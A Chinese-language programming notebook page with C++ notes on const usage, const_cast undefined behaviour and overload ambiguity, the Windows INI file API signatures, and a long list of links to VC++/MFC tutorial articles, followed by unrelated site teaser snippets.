using namespace std;
int main()
{
const int a = 100;
int const b = 100;
a = 100; //这四条语句编译时都会出现“Cannot modify a const object
b = 100; //in function main()”的错误提示,也就是说,任何企图修改 a = 100.0; //a和b(其实是一样的)的行为都会出现“灾难”,在语法上讲就 b = 100.0; //是a和b都不能出现在赋值语句的左边!
cout<<‘n‘<<a<<‘n‘<<b<<endl;
return 0;
}
常函数的调用是这样的:常量对象只能调用常成员函数,非常量对象即可以调常成员函数,也可以调一般成员函数,但当某个函数有const和非const两个版本时,const对象调const版本,非const对象调非const版本
例:
class A
{
public:
int & GetData(){return data;}
const int & GetData()const {return data;}
private:
int data;
}
A a;
a.GetData();//调用int & GetData(){return data;}
//但如果没有这个函数,也可以调用const int & GetData()const
const A const_a;
const_a.GetData();//调用const int & GetData()const {return data;}
常函数只能调常函数,也是由于这个原因
一、const 和引用联合使用的时候要注意
const int a = 1;
const int& ref1 = a;
const int& ref2 = 1;
ref1 和 ref2 都是正确的,但是他们引用的内容和一般的引用不同
对 const int& ref1 = a; 而言,其实这个 ref1 已经和 a 没有任何关系了
ref1 实际上是对一个临时量的引用。同理 const int& ref2 = 1; 也是对
一个临时量做的引用。当引用临时量是 C++ 的隐式类型转换可以起作用。
临时量的生存期和引用量的生存期相同。
二、强传const对象可能导致无定义行为
对于优化做的比较好的编译器,代码 const int i = 1;
当后面用到变量 i 的时候,编译器会优化掉对 i 的存取,而直接使用立即数 1
const int i = 1;
*(const_cast<int*>(&i)) = 2;
cout << *(int*)&i << endl;
cout << i << endl;
所以,对 const 对象做 const_cast 可能导致无定义行为
#include <iostream.h>
void fun(char b){cout <<"void"<<endl;}
int fun(int const b){cout <<"int"<<endl;}
int main()
{
fun(1.0);//详细看看重载函数吧
fun(4); //想一想调用哪一个
return 0;
}
我试了一下,会出错? vc说:‘fun‘:ambiguous call to overloaded function
补充的好啊,这个一般不会注意的
const int i = 1;
*(const_cast<int*>(&i)) = 2;
cout << *(int*)&i << endl;
cout << i << endl;
这个可真有意思,调试时两个都是2,可编译就是2,1了
const的永远都是const,这样能更改就不错了,不然就自相矛盾了
奇怪的是 pi 和 &i地址一样啊,就像楼上说的这是编译时的优化
处理
const int i = 1;
int* pi=const_cast<int*>(&i);
*pi=2;
cout << *pi << endl;
cout << i << endl;
那个主要是隐式转换
你可依次把两个函数注掉看看调用
#include <iostream.h>
//void fun(char b){cout <<"void"<<endl;}
void fun(int b){cout <<"int"<<endl;}
int main()
{
fun(‘a‘);
fun(4);
return 0;
}
INI文件读写
读取INI文件:
DWORD GetPrivateProfileString(
LPCTSTR lpAppName, // INI文件中的一个字段名
LPCTSTR lpKeyName, // lpAppName下的一个键名,通俗讲就是变量名
LPCTSTR lpDefault, // 如果INI文件中没有前两个参数指定的字段名或键名,则将此值赋给变量
LPTSTR lpReturnedString, // 接收INI文件中的值的CString对象,即目的缓存器
DWORD nSize, // 目的缓存器的大小
LPCTSTR lpFileName // 是完整的INI文件名
);
写入INI文件:
BOOL WritePrivateProfileString(
LPCTSTR lpAppName, // INI文件中的一个字段名
LPCTSTR lpKeyName, // lpAppName下的一个键名,通俗讲就是变量名
LPCTSTR lpString, // 键值,也就是变量的值,不过必须为LPCTSTR型或CString型的
LPCTSTR lpFileName // 完整的INI文件名
);
编程文章
编程文章
中文
http://www.vccode.com
http://www.vckbase.com
http://soft.yesky.com/SoftChannel/72342371928375296/index.shtml
http://www.csdn.net/develop/
http://www.comprg.com.cn/titl_jpwz1.htm
http://www.pconline.com.cn/pcedu/empolder/gj/vc/index.html
http://www.programfan.net/article.asp
http://www.czvc.com/index.asp
http://www.vczx.com
http://www.vchome.net/tech/alltech.htm
英文
http://www.codeguru.com/index.shtml
http://www.codeproject.com/ 或 http://www.codetools.com/
http://www.devx.com/cplus/
http://www.cplusplus.com
OpenGL极速入门宝典
http://www.csdn.net/develop/Read_Article.asp?Id=21494
VC++实现拨号上网程序
http://www.csdn.net/develop/Read_Article.asp?Id=21098
应用软件联机帮助文件的制作
http://soft.yesky.com/SoftChannel/72342371928702976/20040229/1772519.shtml
VC快捷键大全
http://www.csdn.net/develop/Read_Article.asp?Id=20853
亲密接触VC6.0编译器
http://www.yesky.com/20030320/1658358.shtml
VC编程实现文本语音转换
http://www.yesky.com/SoftChannel/72342371928702976/20031112/1744185.shtml
七段数码管显示控件的制作与应用
http://www.ccw.com.cn/htm/app/aprog/01_1_11_3.asp
用Visual C++开发数据库应用程序
http://www.yesky.com/20020318/1602268.shtml
软件“看门狗”
http://www.vchelp.net/itbookreview/view_paper.asp?paper_id=587
关于Debug和Release之本质区别的讨论
http://search.csdn.net/expert/topic/50/5001/2003/3/12/1520262.htm
VC中的断点
http://search.csdn.net/expert/topic/50/5001/2003/5/4/1737679.htm
单文档视图的切换方法
http://www.yesky.com/SoftChannel/72342380468174848/20031016/1736627.shtml
Switching views in splitter panes (SDI)
http://www.vccode.com/file_show.php?id=824
CSplitterWnd Extension that Allows Switching Views in Any Pane
http://www.vccode.com/file_show.php?id=826
Dynamically Create Different Views for SDI Projects
http://www.vccode.com/file_show.php?id=882
Printing from CFormView
http://www.codeguru.com/Cpp/W-P/printing/article.php/c2945/
Adding Context Help
http://www.codeguru.com/Cpp/controls/controls/tooltipcontrols/article.php/c2235
请不要做浮躁的人[强烈推荐程序员看] (转贴)
http://www.csdn.net/develop/Read_Article.asp?Id=22659
共享软件营销技巧
http://www.csdn.net/develop/author/ColumnAuthor/zhouyi/
版本管利器Visual SourceSafe 6.0实用指南1-5
http://www.kupage.com/wpm/13/20020515/14554500000014p4csgl.htm
Visual C++ FAQs ----CodeGuru
http://www.codeguru.com/forum/forumdisplay.php?s=f11e41d51badadeb6dc296aa6e9b26f6&forumid=52
解决头文件相互包含问题
http://www.vckbase.com/bbs/prime/viewprime.asp?id=431
深入浅出ShellExecute 译者:徐景周(原作: Nishant S )
http://www.vchelp.net/itbookreview/view_paper.asp?paper_id=326
在listcontrol中使用图片做为背景
http://www.vccode.com/file_show.php?id=1963
VC怎样删除文件到回收站中
http://www.vccode.com/file_show.php?id=2319
用Visual C++操作INI文件
http://www.yesky.com/20020123/215181.shtml
详析VC中坐标系的建立
http://www.yesky.com/20010509/173467.shtml
Windows数据类型探幽
http://www.csdn.net/develop/article/26/26136.shtm
STL 简介,标准模板库
http://www.chinalinuxpub.com/doc/pro/stl.html
Running Code Before and After Main
http://www.codeguru.com/Cpp/misc/misc/threadsprocesses/article.php/c6945__2/
MFC Template Class CLongInt
http://www.codeguru.com/Cpp/Cpp/algorithms/math/article.php/c5091
利用键盘钩子开发按键发音程序
http://www.vckbase.com/vckbase/vckbase11/vc/nonctrls/system_30/1130008.htm
利用键盘钩子在Windows平台下捕获键盘动作
http://www.ccw.com.cn/htm/app/aprog/01_5_24_5.asp
基于Visual C++的钩子编程技巧
http://soft.yesky.com/SoftChannel/72342371928702976/20040701/1826325.shtml
使用MFC在应用程序中嵌入MS Word
http://www.ccw.com.cn/htm/app/aprog/01_5_10_3.asp
OLE Automation with MS Word
http://www.codeguru.com/Cpp/misc/misc/microsoftofficeoutlook/article.php/c3881/
在VC++ 6.0下利用消息实现内部进程通讯
http://www.ccw.com.cn/htm/app/aprog/01_4_6_2.asp
使用VC++6.0制作ASP服务器控件简介
http://www.ccw.com.cn/htm/app/aprog/01_2_13_4.asp
如何获得另一个应用程序窗口中的文本
http://www.vckbase.com/document/viewdoc.asp?id=240
使用 LIBCTINY.LIB 为 EXE 和 DLL 文件 减肥
http://www.vckbase.com/document/viewdoc/?id=1012
为无LIB的DLL制作LIB函数符号输入库
http://www.vckbase.com/document/viewdoc.asp?id=613
利用ado压缩数据库(vc源代码)
http://www.csdn.net/develop/Read_Article.asp?id=26557
ADO数据库编程入门李安东编写
http://www.csdn.net/Develop/article/15%5C15019.shtm
Visual C++.NET中的字符串转换方法
http://www.yesky.com/20021205/1642979.shtml
用DAO读取Access数据库中所有表名的一段代码
http://www.vchelp.net/cndevforum/subject_view.asp?subject_id=93715&forum_id=22
用排序规则特点计算汉字笔划和取得拼音首字母
http://www.vchelp.net/cndevforum/subject_view.asp?page=-1&subject_id=97590
VC实现Access2000文件密码操作技巧
http://www.yesky.com/SoftChannel/72342371928702976/20040805/1839221.shtml
WEB报表工具的设计
http://www.ccw.com.cn/htm/center/prog/03_1_23_2.asp
聊天主题:ffice Web Components的应用
http://www.microsoft.com/china/community/chat/chatrecord/chat20030626.mspx
利用XML实现通用WEB报表打印
http://www.yesky.com/20030214/1652186.shtml
Crystal 10 家族官方产品文档资源
http://www.csdn.net/develop/Article/24/24583.shtm
用Chart控件绘制动态图表
http://www.vchome.net/tech/vc129.htm
Saving Rich Edit Control Text to SQL Server
http://www.codeguru.com/Csharp/.NET/net_data/webgrid/article.php/c7529/
在RichEdit控件中显示图片
http://www.vchelp.net/vchelp/view_article.asp?ft=1&article_id=733
带颜色文字的列表框
http://www.pcvc.net/category/content.asp?sendid=41
支持改变字体和背景色CStatic派生类
http://www.vchelp.net/ASP/cdf_pic/reply_1_304144.rar
类似VB中的分类属性表控件
http://www.pconline.com.cn/pcedu/empolder/gj/vc/10206/71409.html
深入浅出 CPropertyShee
http://sanjianxia.myrice.com/pre/12.htm
CRectTracker类的使用
http://www.vckbase.com/vckbase/vckbase10/vc/nonctrls/misc_21/1021002.htm
CDiagramEditor - DIY vector and dialog editor
http://www.codeproject.com/miscctrl/diagrameditor.asp
Creating and Using A Dynamic LED Control
http://www.codeguru.com/Cpp/controls/controls/coolcontrols/article.php/c5211/
CButtonST使用技巧
http://www.vckbase.com/document/viewdoc.asp?id=518
Scroll Chart Control
http://www.codeguru.com/Cpp/controls/controls/article.php/c5215/
Transparent MFC CSliderCtrl Class
http://www.codeguru.com/Cpp/controls/controls/slidercontrols/article.php/c5253/
Formula Editor
http://www.codeproject.com/miscctrl/formulactrl.asp
为ListBox控件添加水平滚动条
http://soft.yesky.com/SoftChannel/72342371928702976/20040315/1777164.shtml
浅析FTP的工作原理
http://www.microsoft.com/china/community/program/OriginalArticles/TechDoc/ftpprinciple.mspx
关于MFC下检查和消除内存泄露的技巧
http://www.tomydan.net/article/Program/2003-11-15/20031115080810.html
UNICODE 编程入门
http://www.tomydan.net/article/Program/2003-10-06/20031006083329.html
揭开木马的神秘面纱
http://www.yesky.com/20010525/181459.shtml
用 API 作简繁体转换
http://www.csdn.net/Develop/article/26/26024.shtm
一组关于CGridCtrl的文章
一个优秀的网格控件CGridCtrl 戴绍忠(加入了合并单元格功能)
http://www.vckbase.com/document/viewdoc.asp?id=256
一个好用的DBGRID --- VC数据库开发之二
http://www.vckbase.com/document/viewdoc.asp?id=598
从CWnd派生的MFC Grid控件 - Chris Maunder
http://www.vckbase.com/english/code/controls/gridctrl.shtml.htm
在视图中使用GridCtrl - Chris Maunder
http://www.vckbase.com/english/code/controls/gridctrl_in_view.shtml.htm
带下拉列表的MFC Grid控件 - Motty Cohen
http://www.vckbase.com/english/code/controls/gridctrllist.shtml.htm
在Grid控件单元格中使用组合框 - Chris Maunder
http://www.vckbase.com/english/code/controls/gridctrl_combo.shtml.htm
Grid Control Showing Associations - Chris Copenhaver
http://www.vckbase.com/english/code/controls/grid2.shtml.htm
WinSNMP API规范
http://www.vckbase.com/document/viewdoc.asp?id=432
一个TCP和UPD聊天、传收文件程序
http://www.vckbase.com/document/viewdoc.asp?id=639
基于TCP/IP的局域网多用户通信
http://www.vckbase.com/document/viewdoc.asp?id=349
点对点多线程断点续传的实现
http://www.vckbase.com/document/viewdoc.asp?id=448
图形识别技术与网上安全
http://www.csdn.net/develop/Read_Article.asp?Id=23485
Socket传输文件示例(上)
http://www.csdn.net/develop/Read_Article.asp?Id=22196
Socket传输文件示例(下)
http://www.csdn.net/develop/Read_Article.asp?Id=22197
使用VC++6.0制作ASP服务器控件简介
http://www.itonline.gd.cn/ittech/list.asp?id=88
在COM中使用数组参数-SafeArray
http://www.csdn.net/develop/read_article.asp?Id=19696
Developing COM Components using VC-ATL
http://www.csdn.net/develop/Read_Article.asp?Id=22435
ATL和MFC,应该使用哪个框架来创建ActiveX控件?
http://www.microsoft.com/china/msdn/visualc/2000/atlmfc.asp
用ATL建立轻量级的COM对象 1-8
http://www.vckbase.com/document/viewdoc/?id=325
http://www.vckbase.com/document/viewdoc/?id=326
http://www.vckbase.com/document/viewdoc/?id=327
http://www.vckbase.com/document/viewdoc/?id=331
http://www.vckbase.com/document/viewdoc/?id=335
http://www.vckbase.com/document/viewdoc/?id=336
http://www.vckbase.com/document/viewdoc/?id=337
http://www.vckbase.com/document/viewdoc/?id=338
关于几个HTML文档接口的使用探讨
http://www.vckbase.com/vckbase/vckbase10/vc/nonctrls/atlcomocx_02/1002005.htm
如何提取网页中所有链接
http://www.vckbase.com/document/viewdoc.asp?id=646
D HTML User Interface Library
http://www.codeproject.com/miscctrl/dhtmlui.asp
编写浏览器不弹出警告的ActiveX控件
http://www.csdn.net/develop/Article/24/24911.shtm
ATL问题集
http://www.csdn.net/develop/read_article.asp?id=7163
本页上的内容是 Google 笔记本用户提供的,Google 对这些内容不负任何责任。
更多阅读
网上开服装店你必须要懂得一些要点 网上服装店哪里进货
网上开服装店你必须要懂得一些要点——简介随着现在网络的发展快速,越来越多人 为了方便,都选择在网上购物,同样,在网上开一间自己喜爱的网店便成了一种谋生手段,那么,如何在网上开设相关的服装店呢?下面小编为大家介绍一个相关的做法,请有
日漫《棋魂》小畑健23卷完结PDF 小畑健画集
有一天,小学六年级的进藤光在爷爷家的仓库里,找到一个古老的棋盘。就在阿光碰到棋盘的瞬间,寄宿在棋盘上的平安时代的天才棋士--藤原佐为的灵魂潜入阿光的意识里。而阿光在遇到衷心喜欢围棋的佐为,以及拥有著名人父亲的天才小年--塔矢
蜂蜜不能和什么一起吃,吃蜂蜜的一些禁忌 鸡蛋不能和蜂蜜一起吃
蜂蜜的功效很多,如护肤美容、抗菌消炎、促进组织再生、促进消化、提高免疫力、促进长寿等等。但是您是否知道蜂蜜不能和什么一起吃?了解这些不能同蜂蜜搭配食用的食物,可以更好的保护好我们的身体。下面我们列举蜂蜜不能与什么食物同吃
港漫《风云2电影漫画》马荣成5卷完结PDF 风云 马荣成
风云2电影漫画故事情节讲述了东瀛霸主-绝无神,为夺中土皇权,擒下一众武林人仕,逼其臣服。就连步惊云及上代武林神话-无名亦成为阶下囚。聂风闻讯赶至。绝无神却展现他的可怕武学,先后重创无名及风云二人,而楚楚亦替步惊云挡下重击,昏迷倒地
关于突厥的起源和人种问题的我的一些看法1 日本人种起源
“突厥者,其先居西海之右,独为部落,盖匈奴之别种也。姓阿史那氏......”“或云突厥本平凉杂胡,姓阿史那氏”这是《北史》中关于突厥起源的记载。同样在《隋书》和《旧唐书》中也有类似的记载。从史书的记载中我们可以获得三个重要的信息